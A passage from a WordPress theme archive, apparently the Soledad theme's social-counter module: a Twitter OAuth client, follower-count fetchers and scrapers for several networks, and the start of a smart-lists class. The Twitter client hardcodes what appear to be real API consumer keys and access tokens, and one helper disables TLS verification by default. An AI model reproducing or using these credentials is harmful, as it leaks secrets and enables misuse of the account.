		        set_transient('cfTwitterFollowers_'.$screenName, $numberOfFollowers, 1*60*60);
		        update_option('cfNumberOfFollowers_'.$screenName, $numberOfFollowers);
		    }
		   
		    return $numberOfFollowers;
		}
	}

endif;
PK     N\9bwK  wK  %  inc/social-counter/twitter-client.phpnu [        <?php
/**
 * Simple Twitter API 1.1 REST Client using cURL extension
 * @author Tim Whitlock, http://timwhitlock.info
 * @license MIT
 */

define( 'TWITTER_API_TIMEOUT', 5 );

define( 'TWITTER_API_USERAGENT', 'PHP/' . PHP_VERSION . '; http://github.com/timwhitlock/php-twitter-api' );

define( 'TWITTER_API_BASE', 'https://api.twitter.com/1.1' );

define( 'TWITTER_OAUTH_REQUEST_TOKEN_URL', 'https://twitter.com/oauth/request_token' );

define( 'TWITTER_OAUTH_AUTHORIZE_URL', 'https://twitter.com/oauth/authorize' );

define( 'TWITTER_OAUTH_AUTHENTICATE_URL', 'https://twitter.com/oauth/authenticate' );

define( 'TWITTER_OAUTH_ACCESS_TOKEN_URL', 'https://twitter.com/oauth/access_token' );

define( 'YOUR_CONSUMER_KEY', 'n717jgpokhnb5bFvQhF8NgCLe' );
define( 'YOUR_CONSUMER_SECRET', '1nFR5O7v9CTNIjlb9sG5isnt1Ty1lKWt5bwbU7GHHRLRklQDBC' );
define( 'SOME_ACCESS_KEY', '3235863432-M7wCxCAaNFM5iua042hQY0T2xl8WPfIY7pyPIvz' );
define( 'SOME_ACCESS_SECRET', 'QuIOWEUkkxnk7saUDtulnqo3uTYmt9t99DZUWJUnlSIAK' );

/**
 * Client for the Twitter REST API 1.1
 */
class TwitterApiClient {

	/**
	 * Consumer key token for application
	 * @var TwitterOAuthToken
	 */
	private $Consumer;

	/**
	 * Authenticated access token
	 * @var TwitterOAuthToken
	 */
	private $AccessToken;

	/**
	 * Whether caching API GET requests
	 * @var int
	 */
	private $cache_ttl = null;

	/**
	 * Namespace/prefix for cache keys
	 * @var string
	 */
	private $cache_ns;

	/**
	 * Registry of last rate limit arrays by full api function call
	 * @var array
	 */
	private $last_rate = array();

	/**
	 * Last api function called, e.g. "direct_messages/sent"
	 * @var string
	 */
	private $last_call;


	/**
	 * @internal
	 */
	public function __sleep() {
		return array( 'Consumer', 'AccessToken' );
	}

	/**
	 * Enable caching of subsequent API calls
	 * @return TwitterApiClient
	 */
	public function enable_cache( $ttl = 0, $namespace = 'twitter_api_' ) {
		if ( function_exists( 'apc_store' ) ) {
			$this->cache_ttl = (int) $ttl;
			$this->cache_ns  = $namespace;

			return $this;
		}
		trigger_error( 'Cannot enable Twitter API cache without APC extension' );

		return $this->disable_cache();
	}

	/**
	 * Disable caching for susequent API calls
	 * @return TwitterApiClient
	 */
	public function disable_cache() {
		$this->cache_ttl = null;
		$this->cache_ns  = null;

		return $this;
	}

	/**
	 * Test whether the client has full authentication data.
	 * Warning: does not validate credentials
	 * @return bool
	 */
	public function has_auth() {
		return $this->AccessToken instanceof TwitterOAuthToken && $this->AccessToken->secret;
	}

	/**
	 * Unset all logged in credentials - useful in error situations
	 * @return TwitterApiClient
	 */
	public function deauthorize() {
		$this->AccessToken = null;

		return $this;
	}


	/**
	 * Set currently logged in user's OAuth access token
	 *
	 * @param string consumer api key
	 * @param string consumer secret
	 * @param string access token
	 * @param string access token secret
	 *
	 * @return TwitterApiClient
	 */
	public function set_oauth( $consumer_key, $consumer_secret, $access_key = '', $access_secret = '' ) {
		$this->deauthorize();
		$this->Consumer = new TwitterOAuthToken( $consumer_key, $consumer_secret );
		if ( $access_key && $access_secret ) {
			$this->AccessToken = new TwitterOAuthToken( $access_key, $access_secret );
		}

		return $this;
	}


	/**
	 * Set consumer oauth token by object
	 *
	 * @param TwitterOAuthToken
	 *
	 * @return TwitterApiClient
	 */
	public function set_oauth_consumer( TwitterOAuthToken $token ) {
		$this->Consumer = $token;

		return $this;
	}


	/**
	 * Set access oauth token by object
	 *
	 * @param TwitterOAuthToken
	 *
	 * @return TwitterApiClient
	 */
	public function set_oauth_access( TwitterOAuthToken $token ) {
		$this->AccessToken = $token;

		return $this;
	}


	/**
	 * Contact Twitter for a request token, which will be exchanged for an access token later.
	 *
	 * @param string callback URL or "oob" for desktop apps (out of bounds)
	 *
	 * @return TwitterOAuthToken Request token
	 */
	public function get_oauth_request_token( $oauth_callback = 'oob' ) {
		$params = $this->oauth_exchange( TWITTER_OAUTH_REQUEST_TOKEN_URL, compact( 'oauth_callback' ) );

		return new TwitterOAuthToken( $params['oauth_token'], $params['oauth_token_secret'] );
	}


	/**
	 * Exchange request token for an access token after authentication/authorization by user
	 *
	 * @param string verifier passed back from Twitter or copied out of browser window
	 *
	 * @return TwitterOAuthToken Access token
	 */
	public function get_oauth_access_token( $oauth_verifier ) {
		$params      = $this->oauth_exchange( TWITTER_OAUTH_ACCESS_TOKEN_URL, compact( 'oauth_verifier' ) );
		$token       = new TwitterOAuthToken( $params['oauth_token'], $params['oauth_token_secret'] );
		$token->user = array(
			'id'          => $params['user_id'],
			'screen_name' => $params['screen_name'],
		);

		return $token;
	}


	/**
	 * Basic sanitation of api request arguments
	 *
	 * @param array original params passed by client code
	 *
	 * @return array sanitized params that we'll serialize
	 */
	private function sanitize_args( array $_args ) {
		// transform some arguments and ensure strings
		// no further validation is performed
		$args = array();
		foreach ( $_args as $key => $val ) {
			if ( is_string( $val ) ) {
				$args[ $key ] = $val;
			} else if ( true === $val ) {
				$args[ $key ] = 'true';
			} else if ( false === $val || null === $val ) {
				$args[ $key ] = 'false';
			} else if ( ! is_scalar( $val ) ) {
				throw new TwitterApiException( 'Invalid Twitter parameter (' . gettype( $val ) . ') ' . $key, - 1 );
			} else {
				$args[ $key ] = (string) $val;
			}
		}

		return $args;
	}


	/**
	 * Call API method over HTTP and return serialized data
	 *
	 * @param string API method, e.g. "users/show"
	 * @param array method arguments
	 * @param string http request method
	 *
	 * @return array unserialized data returned from Twitter
	 * @throws TwitterApiException
	 */
	public function call( $path, array $args = array(), $http_method = 'GET' ) {
		$args = $this->sanitize_args( $args );
		// Fetch response from cache if possible / allowed / enabled
		if ( $http_method === 'GET' && isset( $this->cache_ttl ) ) {
			$cachekey = $this->cache_ns . $path . '_' . md5( serialize( $args ) );
			if ( preg_match( '/^(\d+)-/', $this->AccessToken->key, $reg ) ) {
				$cachekey .= '_' . $reg[1];
			}
			$data = apc_fetch( $cachekey );
			if ( is_array( $data ) ) {
				return $data;
			}
		}
		$http = $this->rest_request( $path, $args, $http_method );
		// Deserialize response
		$status = $http['status'];
		$data   = json_decode( $http['body'], true );
		// unserializable array assumed to be serious error
		if ( ! is_array( $data ) ) {
			$err = array(
				'message' => $http['error'],
				'code'    => - 1
			);
			TwitterApiException::chuck( $err, $status );
		}
		// else could be well-formed error
		if ( isset( $data['errors'] ) ) {
			while ( $err = array_shift( $data['errors'] ) ) {
				$err['message'] = $err['message'];
				if ( $data['errors'] ) {
					$message = sprintf( 'Twitter error #%d', $err['code'] ) . ' "' . $err['message'] . '"';
					trigger_error( $message, E_USER_WARNING );
				} else {
					TwitterApiException::chuck( $err, $status );
				}
			}
		}
		if ( isset( $cachekey ) ) {
			apc_store( $cachekey, $data, $this->cache_ttl );
		}

		return $data;
	}


	/**
	 * Call API method over HTTP and return raw response data without caching
	 *
	 * @param string API method, e.g. "users/show"
	 * @param array method arguments
	 * @param string http request method
	 *
	 * @return array structure from http_request
	 * @throws TwitterApiException
	 */
	public function raw( $path, array $args = array(), $http_method = 'GET' ) {
		$args = $this->sanitize_args( $args );

		return $this->rest_request( $path, $args, $http_method );
	}


	/**
	 * Perform an OAuth request - these differ somewhat from regular API calls
	 * @internal
	 */
	private function oauth_exchange( $endpoint, array $args ) {
		// build a post request and authenticate via OAuth header
		$params = new TwitterOAuthParams( $args );
		$params->set_consumer( $this->Consumer );
		if ( $this->AccessToken ) {
			$params->set_token( $this->AccessToken );
		}
		$params->sign_hmac( 'POST', $endpoint );
		$conf = array(
			'method'  => 'POST',
			'headers' => array( 'Authorization' => $params->oauth_header() ),
		);
		$http = self::http_request( $endpoint, $conf );
		$body = trim( $http['body'] );
		$stat = $http['status'];
		if ( 200 !== $stat ) {
			// Twitter might respond as XML, but with an HTML content type for some reason
			if ( 0 === strpos( $body, '<?' ) ) {
				$xml  = simplexml_load_string( $body );
				$body = (string) $xml->error;
			}
			throw new TwitterApiException( $body, - 1, $stat );
		}
		parse_str( $body, $params );
		if ( ! is_array( $params ) || ! isset( $params['oauth_token'] ) || ! isset( $params['oauth_token_secret'] ) ) {
			throw new TwitterApiException( 'Malformed response from Twitter', - 1, $stat );
		}

		return $params;
	}


	/**
	 * Sign and execute REST API call
	 * @return array
	 */
	private function rest_request( $path, array $args, $http_method ) {
		// all calls must be authenticated in API 1.1
		if ( ! $this->has_auth() ) {
			throw new TwitterApiException( 'Twitter client not authenticated', 0, 401 );
		}
		// prepare HTTP request config
		$conf = array(
			'method' => $http_method,
		);
		// build signed URL and request parameters
		$endpoint = TWITTER_API_BASE . '/' . $path . '.json';
		$params   = new TwitterOAuthParams( $args );
		$params->set_consumer( $this->Consumer );
		$params->set_token( $this->AccessToken );
		$params->sign_hmac( $http_method, $endpoint );
		if ( 'GET' === $http_method ) {
			$endpoint .= '?' . $params->serialize();
		} else {
			$conf['body'] = $params->serialize();
		}
		$http = self::http_request( $endpoint, $conf );
		// remember current rate limits for this endpoint
		$this->last_call = $path;
		if ( isset( $http['headers']['x-rate-limit-limit'] ) ) {
			$this->last_rate[ $path ] = array(
				'limit'     => (int) $http['headers']['x-rate-limit-limit'],
				'remaining' => (int) $http['headers']['x-rate-limit-remaining'],
				'reset'     => (int) $http['headers']['x-rate-limit-reset'],
			);
		}

		return $http;
	}


	/**
	 * Abstract HTTP call, currently just uses cURL extension
	 * @return array e.g. { body: '', error: '', status: 200, headers: {} }
	 */
	public static function http_request( $endpoint, array $conf ) {
		$conf += array(
			'body'    => '',
			'method'  => 'GET',
			'headers' => array(),
		);

		$ch = curl_init();
		curl_setopt( $ch, CURLOPT_URL, $endpoint );
		curl_setopt( $ch, CURLOPT_TIMEOUT, TWITTER_API_TIMEOUT );
		curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, TWITTER_API_TIMEOUT );
		curl_setopt( $ch, CURLOPT_USERAGENT, TWITTER_API_USERAGENT );
		curl_setopt( $ch, CURLOPT_HEADER, true );
		curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );

		switch ( $conf['method'] ) {
			case 'GET':
				break;
			case 'POST':
				curl_setopt( $ch, CURLOPT_POST, true );
				curl_setopt( $ch, CURLOPT_POSTFIELDS, $conf['body'] );
				break;
			default:
				throw new TwitterApiException( 'Unsupported method ' . $conf['method'] );
		}

		foreach ( $conf['headers'] as $key => $val ) {
			$headers[] = $key . ': ' . $val;
		}
		if ( isset( $headers ) ) {
			curl_setopt( $ch, CURLOPT_HTTPHEADER, $headers );
		}

		// execute and parse response
		$response = curl_exec( $ch );
		if ( 60 === curl_errno( $ch ) ) { // CURLE_SSL_CACERT
			curl_setopt( $ch, CURLOPT_CAINFO, __DIR__ . '/ca-chain-bundle.crt' );
			$response = curl_exec( $ch );
		}
		$status  = curl_getinfo( $ch, CURLINFO_HTTP_CODE );
		$headers = array();
		$body    = '';
		if ( $response && $status ) {
			list( $header, $body ) = preg_split( '/\r\n\r\n/', $response, 2 );
			if ( preg_match_all( '/^(Content[\w\-]+|X-Rate[^:]+):\s*(.+)/mi', $header, $r, PREG_SET_ORDER ) ) {
				foreach ( $r as $match ) {
					$headers[ strtolower( $match[1] ) ] = $match[2];
				}
			}
			curl_close( $ch );
		} else {
			$error = curl_error( $ch ) or
			$error = 'No response from Twitter';
			is_resource( $ch ) and curl_close( $ch );
			throw new TwitterApiException( $error );
		}

		return array(
			'body'    => $body,
			'status'  => $status,
			'headers' => $headers,
		);
	}


	/**
	 * Get current rate limit, if known. does not look it up
	 */
	public function last_rate_limit_data( $func = '' ) {
		$func or $func = $this->last_call;

		return isset( $this->last_rate[ $func ] ) ? $this->last_rate[ $func ] : array( 'limit' => 0 );
	}


	/**
	 * Get rate limit allowance for last endpoint request
	 */
	public function last_rate_limit_allowance( $func = '' ) {
		$data = $this->last_rate_limit_data( $func );

		return isset( $data['limit'] ) ? $data['limit'] : null;
	}


	/**
	 * Get number of requests remaining this period for last endpoint request
	 */
	public function last_rate_limit_remaining( $func = '' ) {
		$data = $this->last_rate_limit_data( $func );

		return isset( $data['remaining'] ) ? $data['remaining'] : null;
	}


	/**
	 * Get rate limit reset time for last endpoint request
	 */
	public function last_rate_limit_reset( $func = '' ) {
		$data = $this->last_rate_limit_data( $func );

		return isset( $data['reset'] ) ? $data['reset'] : null;
	}

}


/**
 * Simple token class that holds key and secret
 * @internal
 */
class TwitterOAuthToken {

	public $key;
	public $secret;
	public $verifier;
	public $user;

	public function __construct( $key, $secret = '' ) {
		if ( ! $key ) {
			throw new Exception( 'Invalid OAuth token - Key required even if secret is empty' );
		}
		$this->key      = $key;
		$this->secret   = $secret;
		$this->verifier = '';
	}

	public function get_authorization_url() {
		return TWITTER_OAUTH_AUTHORIZE_URL . '?oauth_token=' . rawurlencode( $this->key );
	}

	public function get_authentication_url() {
		return TWITTER_OAUTH_AUTHENTICATE_URL . '?oauth_token=' . rawurlencode( $this->key );
	}

}


/**
 * Class for compiling, signing and serializing OAuth parameters
 * @internal
 */
class TwitterOAuthParams {

	private $args;
	private $consumer_secret;
	private $token_secret;

	private static function urlencode( $val ) {
		return str_replace( '%7E', '~', rawurlencode( $val ) );
	}

	public function __construct( array $args = array() ) {
		$this->args = $args + array(
				'oauth_version' => '1.0',
			);
	}

	public function set_consumer( TwitterOAuthToken $Consumer ) {
		$this->consumer_secret            = $Consumer->secret;
		$this->args['oauth_consumer_key'] = $Consumer->key;
	}

	public function set_token( TwitterOAuthToken $Token ) {
		$this->token_secret        = $Token->secret;
		$this->args['oauth_token'] = $Token->key;
	}

	private function normalize() {
		$flags = SORT_STRING | SORT_ASC;
		ksort( $this->args, $flags );
		foreach ( $this->args as $k => $a ) {
			if ( is_array( $a ) ) {
				sort( $this->args[ $k ], $flags );
			}
		}

		return $this->args;
	}

	public function serialize() {
		$str = http_build_query( $this->args );
		// PHP_QUERY_RFC3986 requires PHP >= 5.4
		$str = str_replace( array( '+', '%7E' ), array( '%20', '~' ), $str );

		return $str;
	}

	public function sign_hmac( $http_method, $http_rsc ) {
		$this->args['oauth_signature_method'] = 'HMAC-SHA1';
		$this->args['oauth_timestamp']        = sprintf( '%u', time() );
		$this->args['oauth_nonce']            = sprintf( '%f', microtime( true ) );
		unset( $this->args['oauth_signature'] );
		$this->normalize();
		$str                           = $this->serialize();
		$str                           = strtoupper( $http_method ) . '&' . self::urlencode( $http_rsc ) . '&' . self::urlencode( $str );
		$key                           = self::urlencode( $this->consumer_secret ) . '&' . self::urlencode( $this->token_secret );
		$this->args['oauth_signature'] = base64_encode( hash_hmac( 'sha1', $str, $key, true ) );

		return $this->args;
	}

	public function oauth_header() {
		$lines = array();
		foreach ( $this->args as $key => $val ) {
			$lines[] = self::urlencode( $key ) . '="' . self::urlencode( $val ) . '"';
		}

		return 'OAuth ' . implode( ",\n ", $lines );
	}

}


/**
 * HTTP status codes with some overridden for Twitter-related messages.
 * Note these do not replace error text from Twitter, they're for complete API failures.
 *
 * @param int HTTP status code
 *
 * @return string HTTP status text
 */
function _twitter_api_http_status_text( $s ) {
	static $codes = array(
		100 => 'Continue',
		101 => 'Switching Protocols',

		200 => 'OK',
		201 => 'Created',
		202 => 'Accepted',
		203 => 'Non-Authoritative Information',
		204 => 'No Content',
		205 => 'Reset Content',
		206 => 'Partial Content',

		300 => 'Multiple Choices',
		301 => 'Moved Permanently',
		302 => 'Found',
		303 => 'See Other',
		304 => 'Not Modified',
		305 => 'Use Proxy',
		307 => 'Temporary Redirect',

		400 => 'Bad Request',
		401 => 'Authorization Required',
		402 => 'Payment Required',
		403 => 'Forbidden',
		404 => 'Not Found',
		405 => 'Method Not Allowed',
		406 => 'Not Acceptable',
		407 => 'Proxy Authentication Required',
		408 => 'Request Time-out',
		409 => 'Conflict',
		410 => 'Gone',
		411 => 'Length Required',
		412 => 'Precondition Failed',
		413 => 'Request Entity Too Large',
		414 => 'Request-URI Too Large',
		415 => 'Unsupported Media Type',
		416 => 'Requested range not satisfiable',
		417 => 'Expectation Failed',
		//  ..
		429 => 'Twitter API rate limit exceeded',

		500 => 'Twitter server error',
		501 => 'Not Implemented',
		502 => 'Twitter is not responding',
		503 => 'Twitter is too busy to respond',
		504 => 'Gateway Time-out',
		505 => 'HTTP Version not supported',
	);

	return isset( $codes[ $s ] ) ? $codes[ $s ] : sprintf( 'Status %u from Twitter', $s );
}


/**
 * Exception for throwing when Twitter responds with something unpleasant
 */
class TwitterApiException extends Exception {

	/**
	 * HTTP Status of error
	 * @var int
	 */
	protected $status = 0;


	/**
	 * Throw appropriate exception type according to HTTP status code
	 *
	 * @param array Twitter error data from their response
	 */
	public static function chuck( array $err, $status ) {
		$code = isset( $err['code'] ) ? (int) $err['code'] : - 1;
		$mess = isset( $err['message'] ) ? trim( $err['message'] ) : '';
		static $classes = array(
			404 => 'TwitterApiNotFoundException',
			429 => 'TwitterApiRateLimitException',
		);
		$eclass = isset( $classes[ $status ] ) ? $classes[ $status ] : __CLASS__;
		throw new $eclass( $mess, $code, $status );
	}


	/**
	 * Construct TwitterApiException with addition of HTTP status code.
	 * @overload
	 */
	public function __construct( $message, $code = 0 ) {
		if ( 2 < func_num_args() ) {
			$this->status = (int) func_get_arg( 2 );
		}
		if ( ! $message ) {
			$message = _twitter_api_http_status_text( $this->status );
		}
		parent::__construct( $message, $code );
	}


	/**
	 * Get HTTP status of error
	 * @return int
	 */
	public function getStatus() {
		return $this->status;
	}

}


/** 404 */
class TwitterApiNotFoundException extends TwitterApiException {

}


/** 429 */
class TwitterApiRateLimitException extends TwitterApiException {

}
PK     N\T@  @  %  inc/social-counter/social-counter.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}


if ( ! function_exists( 'penci_get_social_counter_option' ) ) :
	function penci_get_social_counter_option( $key = null, $default = false ) {
		static $data;

		$data = empty( $data ) ? get_option( 'penci_social_counter_settings' ) : $data;

		if ( isset( $data[ $key ] ) ) {
			return $data[ $key ];
		}

		if ( $default ) {
			return $default;
		}

		return '';
	}
endif;

if ( ! class_exists( 'PENCI_FW_Social_Counter' ) ) :
	class PENCI_FW_Social_Counter {

		private static $_instance = null;

		private static $caching_time = 86400;  // cache expire time - default 86400 = 1 day

		public static function instance() {
			if ( is_null( self::$_instance ) ) {
				self::$_instance = new self();
			}

			return self::$_instance;
		}

		public function __construct() {
			$this->load_files();
		}

		public function load_files() {
			require_once __DIR__ . '/admin-options.php';
		}

		public static function get_social_counter( $social, $get_number = true ) {

			$cache_period = apply_filters( 'penci_social_cache_time', self::$caching_time );

			$penci_social_counter_settings = get_option( 'penci_social_counter_settings' );

			$counter_data = shortcode_atts(
				array(
					$social . '_name'       => '',
					$social . '_text_below' => '',
					$social . '_text_btn'   => '',
					$social . '_default'    => '',
				),
				$penci_social_counter_settings
			);

			$face_name = isset( $counter_data[ $social . '_name' ] ) && $counter_data[ $social . '_name' ] ? $counter_data[ $social . '_name' ] : '';

			$data = array();

			if ( ! $face_name ) {
				return array();
			}

			$data_default = array(
				'name'       => $face_name,
				'title'      => $face_name ? $face_name : esc_html__( 'Facebook', 'soledad' ),
				'text_below' => $counter_data[ $social . '_text_below' ],
				'text_btn'   => $counter_data[ $social . '_text_btn' ],
				'count'      => $counter_data[ $social . '_default' ],
				'icon'       => '',
				'url'        => '',
				'error'      => '',
			);

			$social_file = __DIR__ . '/counter-' . $social . '-api.php';
			$class_name  = 'Penci_Social_Counter_' . ucwords( $social ) . '_API';

			if ( file_exists( $social_file ) ) {
				require_once $social_file;
			}

			if ( class_exists( $class_name ) ) {
				$data = $class_name::get_count( $data_default, $cache_period );
			}

			return $data;
		}

		public static function format_followers( $followers ) {

			if ( ! $followers || ! is_numeric( $followers ) ) {
				return $followers;
			}

			if ($followers >= 1000000) {
		        return round($followers / 1000000, 1) . penci_get_setting( 'penci_trans_m_number' );
		    } elseif ($followers >= 1000) {
		        return round($followers / 1000, 1) . penci_get_setting( 'penci_trans_k_number' );
		    } else {
		        return $followers; // If the number is less than 1000, return it unchanged
		    }
		}
	}

	new PENCI_FW_Social_Counter();
endif;

if ( ! function_exists( 'penci_get_the_number' ) ) :
	function penci_get_the_number( $pattern, $the_request ) {

		$counter = 0;

		preg_match( $pattern, $the_request, $matches );

		if ( is_array( $matches ) && ! empty( $matches[1] ) ) {

			$number  = strip_tags( $matches[1] );
			$counter = '';

			foreach ( str_split( $number ) as $char ) {
				if ( is_numeric( $char ) ) {
					$counter .= $char;
				}
			}
		}

		return $counter;
	}
endif;

if ( ! function_exists( 'penci_remote_get' ) ) :
	function penci_remote_get( $url, $json = true, $args = array(
		'timeout'   => 18,
		'sslverify' => false,
	) ) {

		$get_request = preg_replace( '/\s+/', '', $url );
		$get_request = wp_remote_get( $url, $args );

		$request = wp_remote_retrieve_body( $get_request );

		if ( $json ) {
			$request = @json_decode( $request, true );
		}

		return $request;
	}
endif;

add_action(
	'mb_settings_page_submit_buttons',
	function () {
		if ( isset( $_GET['page'] ) && 'penci_social_counter_settings' == $_GET['page'] ) {

			echo '<button data-nonce="' . wp_create_nonce( 'penci-reset-social-cache' ) . '" class="button button-secondary penci-reset-social-cache">' . __( 'Clear Counter Caches', 'soledad' ) . '</button>';
		}
	}
);

add_action( 'wp_ajax_penci_social_clear_all_caches', 'penci_social_clear_all_caches' );
function penci_social_clear_all_caches() {
	check_ajax_referer( 'penci-reset-social-cache' );
	if ( ! current_user_can( 'manage_options' ) ) {
		return;
	}
	global $wpdb;
	$transients = $wpdb->get_results(
		"SELECT option_name AS name, option_value AS value FROM $wpdb->options 
              WHERE option_name LIKE '_transient_%'"
	);
	foreach ( $transients as $std => $value ) {
		$t_name = $value->name;
		if ( strpos( $t_name, 'penci_counter' ) !== false ) {
			delete_transient( str_replace( '_transient_', '', $t_name ) );
		}
	}
	wp_send_json_success( array( 'messages' => __( 'Successfully clear all social counter cache.', 'soledad' ) ), 200 );
	wp_die();
}
PK     N\:>2    %  inc/social-counter/counter-vk-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Vk_API' ) ):
	class Penci_Social_Counter_Vk_API {
		public static function get_count( $data, $cache_period ) {

			$page_id       = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']   = $page_id;
			$data['icon']  = penci_icon_by_ver( 'fab fa-vk' );
			$vk_api        = penci_get_social_counter_option( 'vk_api' );
			$default_count = penci_get_social_counter_option( 'vk_default' );
			$vk_count      = $default_count ? $default_count : get_transient( 'penci_counter_vk' . $page_id );

			if ( ! $vk_count ) {
				$count = self::get_vk_count( $page_id, $vk_api );
				set_transient( 'penci_counter_vk' . $page_id, $count, $cache_period );
			} else {
				$count = $vk_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}

		public static function get_vk_count( $id, $api ) {
			$url         = 'https://api.vk.com/method/users.getFollowers?user_id=' . $id . '&v=5.74&access_token=' . $api;
			$status_code = @get_headers( $url, 1 );
			$response    = array();
			if ( strpos( $status_code[0], '200' ) ) {
				$response = wp_remote_get( $url, array(
					'timeout' => 10,
				) );
			}
			if ( is_array( $response ) && ! is_wp_error( $response ) ) {
				$result = json_decode( $response['body'] );
				if ( ! empty( $result->response->count ) ) {
					return $result->response->count;
				}
			}

			return 0;
		}
	}

endif;
PK     N\s    )  inc/social-counter/counter-tumblr-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Tumblr_API' ) ):
	class Penci_Social_Counter_Tumblr_API {
		public static function get_count( $data, $cache_period ) {

			$page_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = $page_id;
			$data['icon'] = penci_icon_by_ver( 'fab fa-tumblr' );

			$default_count = penci_get_social_counter_option( 'tumblr_default' );


			$data['count'] = $default_count ? $default_count : 0;


			return $data;
		}
	}

endif;
PK     N\    -  inc/social-counter/counter-soundcloud-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Soundcloud_API' ) ):
	class Penci_Social_Counter_Soundcloud_API {
		public static function get_count( $data, $cache_period ) {

			$page_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = "https://soundcloud.com/$page_id";
			$data['icon'] = penci_icon_by_ver( 'fab fa-soundcloud' );

			$default_count = penci_get_social_counter_option( 'soundcloud_default' );

			$soundcloud_count = $default_count ? $default_count : get_transient( 'penci_counter_soundcloud' . $page_id );

			if ( ! $soundcloud_count ) {
				$count = self::get_soundcloud_count( $page_id );
				set_transient( 'penci_counter_soundcloud' . $page_id, $count, $cache_period );
			} else {
				$count = $soundcloud_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}

		private static function get_soundcloud_count( $page_id ) {
			$status_code = @get_headers( "https://soundcloud.com/$page_id", 1 );
			$response    = array();
			if ( strpos( $status_code[0], '200' ) ) {
				$response = wp_remote_get( "https://soundcloud.com/$page_id", array(
					'timeout' => 10,
				) );
			}
			if ( ! empty( $response ) && ! is_wp_error( $response ) ) {
				$pattern = "/<meta property=\"soundcloud:follower_count\" content=\"(.*?)\">/";
				preg_match( $pattern, $response['body'], $matches );
				if ( ! empty( $matches[1] ) ) {
					return (int) $matches[1];
				}
			}

			return 0;
		}
	}

endif;
PK     N\ |C  C  )  inc/social-counter/counter-tiktok-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Tiktok_API' ) ):
	class Penci_Social_Counter_Tiktok_API {
		public static function get_count( $data, $cache_period ) {
			if ( empty( $data['name'] ) ) {
				return $data;
			}

			$user_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['icon'] = penci_icon_by_ver( 'penciicon-tik-tok-1' );

			$cache_key     = 'penci_counter_tiktok' . $user_id;
			$default_count = penci_get_social_counter_option( 'tiktok_default' );
			$tiktok_count  = $default_count ? $default_count : get_transient( $cache_key );
			$data['url']   = "https://www.tiktok.com/@$user_id";

			if ( ! $tiktok_count ) {

				$count = self::get_tiktok_count( $user_id );

				set_transient( $cache_key, $count, $cache_period );
			} else {
				$count = $tiktok_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}

		public static function get_tiktok_count( $username ): string {
			$count    = 0;
			$url      = "https://www.tiktok.com/@{$username}";
			$response = wp_remote_get( $url, array(
				'timeout'    => 20,
				'user-agent' => 'Mozilla/5.0 (iPhone; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.25 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1'
			) );

			if ( is_array( $response ) && ! is_wp_error( $response ) ) {
				$pattern = "/data-e2e=\"followers-count\" class=\"(.*?)\">(.*?)<\/strong>/";
				preg_match_all( $pattern, $response['body'], $matches );

				if ( isset( $matches[2][1] ) ) {
					$count = $matches[2][1];
				}
			}

			return $count;
		}
	}

endif;
PK     N\/"k  k  &  inc/social-counter/counter-rss-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Rss_API' ) ):
	class Penci_Social_Counter_Rss_API {
		public static function get_count( $data, $cache_period ) {

			$user_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['icon'] = penci_icon_by_ver( 'fab fa-rss' );

			$cache_key = 'penci_counter__rss' . $user_id;
			$rss_count = get_transient( $cache_key );

			$rss_type        = penci_get_social_counter_option( 'rss_type' );
			$rss_feedpress   = penci_get_social_counter_option( 'rss_feedpress' );
			$rss_default     = penci_get_social_counter_option( 'rss_default' );
			$rss_default_url = penci_get_social_counter_option( 'rss_feed_uri' );

			if ( $rss_type == 'feedpress' && $rss_feedpress ) {
				$data['url'] = esc_url( $rss_feedpress );
			} elseif ( $rss_default_url ) {
				$data['url'] = esc_url( $rss_default_url );
			}

			if ( ! $rss_count ) {

				if ( ( $rss_type == 'feedpress' ) && ! empty( $rss_feedpress ) ) {
					try {
						$feedpress_url = esc_url( $rss_feedpress );
						$feedpress_url = str_replace( 'feedpress.it', 'feed.press', $feedpress_url );

						$data   = @penci_remote_get( $feedpress_url );
						$result = (int) $data['subscribers'];
					} catch ( Exception $e ) {
						$result = 0;
					}
				} elseif ( ( $rss_type == 'manual' ) && ! empty( $rss_default ) ) {
					$result = $rss_default;
				} else {
					$result = 0;
				}

				if ( ! empty( $result ) ) {
					$data['count'] = $result;
					set_transient( $cache_key, $result, $cache_period );
				}
			} else {
				$data['count'] = $rss_count;
			}

			return $data;
		}
	}

endif;
PK     N\A'    )  inc/smartlists/class_penci_smartlists.phpnu [        <?php

abstract class Penci_SmartLists {

	private $counting_order_asc = false;
	private $counting_start = 1;
	protected $use_pagination = false;
	private $list_items;

	abstract protected function render_list_item( $item_array, $current_item_id, $current_item_number, $total_items_number );

	function get_content( $smart_list_settings ) {

		$this->counting_order_asc = $smart_list_settings['counting_order_asc'];


		$penci_tokenizer                   = new Penci_Splitter();
		$penci_tokenizer->list_title_start = $smart_list_settings['penci_smart_list_h'];
		$penci_tokenizer->list_title_end   = $smart_list_settings['penci_smart_list_h'];


		$list_items = $penci_tokenizer->split_to_list_items( array(
				'content'             => $smart_list_settings['post_content'],
				'extract_first_image' => $smart_list_settings['extract_first_image']
			)
		);

		if ( empty( $list_items['list_items'] ) ) {
			return $smart_list_settings['post_content'];
		}

